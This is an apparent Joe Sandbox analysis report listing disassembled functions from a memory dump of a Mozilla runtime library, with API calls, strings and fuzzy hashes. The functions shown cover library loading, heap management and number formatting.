Part of subcall function 6CDAF100: LoadLibraryW.KERNEL32(shell32,?,6CE1D020), ref: 6CDAF122
Part of subcall function 6CDAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CDAF132

CloseHandle.KERNEL32(00000000), ref: 6CDDF555

Part of subcall function 6CDB14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CDB1248,6CDB1248,?), ref: 6CDB14C9
Part of subcall function 6CDB14B0: memcpy.VCRUNTIME140(?,6CDB1248,00000000,?,6CDB1248,?), ref: 6CDB14EF

Part of subcall function 6CDAEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CDAEEE3

CreateFileW.KERNEL32 ref: 6CDDF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CDDF523

Strings

\oleacc.dll, xrefs: 6CDDF4CB

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c9e7dd4947503dbe68674d8c8d103db320c66682289a3b86b0293ad0a15d3c90
Instruction ID: 7cf76d31dab02b0b91e30953b22bb26096577caa45da4e983aba43e9237e9f86
Opcode Fuzzy Hash: c9e7dd4947503dbe68674d8c8d103db320c66682289a3b86b0293ad0a15d3c90
Instruction Fuzzy Hash: 8F41B070A18750DFE720DF69C884B9BB7F4AF85318F100A1CF59193660EB74E949CBA2

Function 6CE074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CE07526
__Init_thread_footer.LIBCMT ref: 6CE07566
__Init_thread_footer.LIBCMT ref: 6CE07597

Strings

kernel32.dll, xrefs: 6CE07557
UnmapViewOfFile2, xrefs: 6CE07552

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e9d33b7a3af07ca37bb72e386c6b90f62b124905f92a2436cddaf07b5858d0e5
Instruction ID: 56e3e867fbbd58cd396cfebfe390e4c0f624868f8a118b6c677c5c7262084efa
Opcode Fuzzy Hash: e9d33b7a3af07ca37bb72e386c6b90f62b124905f92a2436cddaf07b5858d0e5
Instruction Fuzzy Hash: 83214931B0065097CB148FE8C804F993376EB47369F314528D80547B40CB3DB8228BE1

Function 6CE0A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2F770,-00000001,?,6CE1E330,?,6CDCBDF7), ref: 6CE0A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CDCBDF7), ref: 6CE0A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CDCBDF7), ref: 6CE0A7E4
LeaveCriticalSection.KERNEL32(6CE2F770), ref: 6CE0A80A

Strings

accelerator.dll, xrefs: 6CE0A7BF

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 30ec5b572aba1efc95e0cbbc52a562b426fca92ec1a8c395a9ab58c911dcba5f
Instruction ID: 3d14be955e116e24677620f773acb0d8ea98325524af3b2a70c64287317d45db
Opcode Fuzzy Hash: 30ec5b572aba1efc95e0cbbc52a562b426fca92ec1a8c395a9ab58c911dcba5f
Instruction Fuzzy Hash: B301A2B1B203189FDB04CF55D8C4E5177B8FB8A715714806AE84A8B711DB74D810CBA0

Function 6CDAF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CDAEE51,?), ref: 6CDAF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CDAF0C2

Strings

ole32, xrefs: 6CDAF0AD
Could not find CoTaskMemFree, xrefs: 6CDAF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CDAF0DC

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6bef3db9e05bce4235f34ed8edb5f34ed90e6000dbbe1cb0f83056c2acfb5f14
Instruction ID: 1db05b886fde511def7844385def30447fc2fc7e502d6e8e4aa27f5eb364aa22
Opcode Fuzzy Hash: 6bef3db9e05bce4235f34ed8edb5f34ed90e6000dbbe1cb0f83056c2acfb5f14
Instruction Fuzzy Hash: 37E0DF72745305DBAF045BE3D808B2637B9AB12209324846DF403D1E10EE7DE9018BA9

Function 6CDE00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CDB7235), ref: 6CDE00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CDE00F7
FreeLibrary.KERNEL32(?,6CDB7235), ref: 6CDE010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CDE00F1
wintrust.dll, xrefs: 6CDE00D3

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 7bb971fe68ab57bb00b45d7d3f75a8167861e1a9d2e5de31971861bcd67f873d
Instruction ID: b2050c57e6a0e4470b7f797678b0202d30775b9abd3a9ef3a0c25c486e596c5a
Opcode Fuzzy Hash: 7bb971fe68ab57bb00b45d7d3f75a8167861e1a9d2e5de31971861bcd67f873d
Instruction Fuzzy Hash: 89E0B674B4531ADBEF049F65CA09B21BAFDF70B385F648016A94AC5B50DBBDD440EB10

Function 6CDE0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CDB7204), ref: 6CDE0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CDE00A7
FreeLibrary.KERNEL32(?,6CDB7204), ref: 6CDE00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CDE00A1
wintrust.dll, xrefs: 6CDE0083

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: df62deb71c2146ca91bc8ff680e9d4867b3e5ecd0ecdd3c80108010e490591fe
Instruction ID: cf7b06034d122aac74c60d592b6366514da562f3577a9d5123f5aafe45778800
Opcode Fuzzy Hash: df62deb71c2146ca91bc8ff680e9d4867b3e5ecd0ecdd3c80108010e490591fe
Instruction Fuzzy Hash: D0E09278A407199BEF08AF668809711BAF8EB0B389F104116EA16C2660DBBDD440EF11

Function 6CE0C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CE0C0E9), ref: 6CE0C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CE0C437
FreeLibrary.KERNEL32(?,6CE0C0E9), ref: 6CE0C44C

Strings

NtQueryVirtualMemory, xrefs: 6CE0C431
ntdll.dll, xrefs: 6CE0C413

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: db08629af903d4a963056720136c64976a4355e943aa0d39c7d98088ab59f215
Instruction ID: ea4c3e08117775a057564b45fed3b104a51ddfffd4f10c9ce67ec35c16d39d9a
Opcode Fuzzy Hash: db08629af903d4a963056720136c64976a4355e943aa0d39c7d98088ab59f215
Instruction Fuzzy Hash: 61E0B678F053159BEF047F71CA19711BBF8F70A608F144116EA0695701EBBCC0118B91

Function 6CE075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CE0748B,?), ref: 6CE075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CE075D7
FreeLibrary.KERNEL32(?,6CE0748B,?), ref: 6CE075EC

Strings

ntdll.dll, xrefs: 6CE075B3
RtlNtStatusToDosError, xrefs: 6CE075D1

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 756db1575aa6d65b7bda081d681c3d8e00b6f6cc0a6c623cd7e2321969bd9d92
Instruction ID: 7696c6e23900b6322d32ce3f2ee8d6fb068dada81ba714f3a532591000304a53
Opcode Fuzzy Hash: 756db1575aa6d65b7bda081d681c3d8e00b6f6cc0a6c623cd7e2321969bd9d92
Instruction Fuzzy Hash: 43E0B671B10319ABEF006FA2C848B017BF8EB06218F204026A946D5740EFBC80A2CF50

Function 6CE07600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CE07592), ref: 6CE07608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CE07627
FreeLibrary.KERNEL32(?,6CE07592), ref: 6CE0763C

Strings

ntdll.dll, xrefs: 6CE07603
NtUnmapViewOfSection, xrefs: 6CE07621

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 728447df68491606eeda9d30dd834ca764a4a53f212e46cc53642841b73edb42
Instruction ID: 07b872fd32ef2e95daaa3eceb6b27181c220346c69f325f67f5cd14707341f0d
Opcode Fuzzy Hash: 728447df68491606eeda9d30dd834ca764a4a53f212e46cc53642841b73edb42
Instruction Fuzzy Hash: 20E0B6B0B21319ABEF006FA6DC087017BB8F71A359F204116E946D5740EBBC80508F54

Function 6CE0BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CE0BE49), ref: 6CE0BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CE0BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CE0BE49), ref: 6CE0BF38
RtlReAllocateHeap.NTDLL ref: 6CE0BF83
RtlFreeHeap.NTDLL(6CE0BE49,00000000), ref: 6CE0BFA6

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 56ab443f6c0d6dbe3b9cb5d870aa276cb945b13884419c13c44414437fd5ddab
Instruction ID: 7df7475d5660bfdc30098bcbe05a4cdffb08b393110f0d00b7fc83f3b5fe1bd0
Opcode Fuzzy Hash: 56ab443f6c0d6dbe3b9cb5d870aa276cb945b13884419c13c44414437fd5ddab
Instruction Fuzzy Hash: 6E517C71F002058BE710CF68CD81BAAB3B6FF85318F394629D515A7B54D730E9268B81

Function 6CDF8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?,6CE1D734), ref: 6CDF8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?,6CE1D734), ref: 6CDF8EBF
free.MOZGLUE(?,?,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?), ref: 6CDF8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?,6CE1D734), ref: 6CDF8F46
free.MOZGLUE(?,?,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?), ref: 6CDF8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?), ref: 6CDF8F8F

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c4872f55263b319f7a70ea3053d16721ac726881bee5d4ed7191f7c974fbbe90
Instruction ID: 26e7c877b48b71e9aab6070b629a2457e94346f00f47953d1df052e01e332116
Opcode Fuzzy Hash: c4872f55263b319f7a70ea3053d16721ac726881bee5d4ed7191f7c974fbbe90
Instruction Fuzzy Hash: 8D518FB1A016168FEB14CF54DC8076EB3F6FF46318F16052AD926AB750E731E906CB92

Function 6CDB60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB6180
free.MOZGLUE(?,?,?,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CDB6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB6229
free.MOZGLUE(?,?,?,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CDB625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CDB6271

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3b764767606637f18a7238c91f9c3c808d420acf520874e2aad4a8e149553baa
Instruction ID: c9da09b1e26ed986516185e219f81e2d47364e109f865e733c9f1fdb9cad54b4
Opcode Fuzzy Hash: 3b764767606637f18a7238c91f9c3c808d420acf520874e2aad4a8e149553baa
Instruction Fuzzy Hash: 31516AF1A006068BEB18CF68D880BAEB7B5EF45348F100539C65BE7761E731E956CB61

Function 6CDF27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF289A
free.MOZGLUE(?,?,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF2910
free.MOZGLUE(00000001,?,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF294E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1a698e635eb67b8ad44afc7dfb7178dbaed308f7ecffe98d4e315f859b75e22d
Instruction ID: 27228213c9e0d374431cb5fccbd49da4b2211955f6dea38df0851127f9565d12
Opcode Fuzzy Hash: 1a698e635eb67b8ad44afc7dfb7178dbaed308f7ecffe98d4e315f859b75e22d
Instruction Fuzzy Hash: 1141A0B1B002468FEB14CF68D88476AB7F6BB45308F160539D566EB760E731E906CB61

Function 6CDACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDACFF6
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDAD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CDAD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CDAD139

Strings

MOZ_CRASH(), xrefs: 6CDAD187

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 92f631f3f886765afdccf02021ecf32ada550531dc37c6d4be2072657fdbb56e
Instruction ID: c0a043982689be0680eac5db493de61409bbcb7d55cdf5b971dc747eae5ab86f
Opcode Fuzzy Hash: 92f631f3f886765afdccf02021ecf32ada550531dc37c6d4be2072657fdbb56e
Instruction Fuzzy Hash: EE41CF31B00B268FDB048FBDCC913AA76B0EB49711F250139EE99E7784D7A998018BD5

Function 6CDA4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CDA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CDA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CDA4F1E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 18050f1a65931bca1f42914fb3cf00064ac6b1ea7b9e265d584e23b2be6c7419
Instruction ID: 5b41e57250e49223a2b989d0a71acc8dc6d3bf20ab58c7910865f3ad3e168ce7
Opcode Fuzzy Hash: 18050f1a65931bca1f42914fb3cf00064ac6b1ea7b9e265d584e23b2be6c7419
Instruction Fuzzy Hash: 1841D071608701DFC701CFA9C88095BB7F4BF89354F109A2DF8A687661DB30E91ACB91

Function 6CDB1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB15E7
free.MOZGLUE(?,?,?,?,?,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB1637

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: c1462a41f9558aa916fd57664dbc80508887a72fbae950230a2d5ce19e67e2b2
Instruction ID: d4ade01451b88dea66d311be14b72a1b87bd4404996cc6886181f6c82ca95326
Opcode Fuzzy Hash: c1462a41f9558aa916fd57664dbc80508887a72fbae950230a2d5ce19e67e2b2
Instruction Fuzzy Hash: 6E31D8F2A041158BC7188F78D95146E77F9BB863647240B2DE423EBBF4EB30D9158791

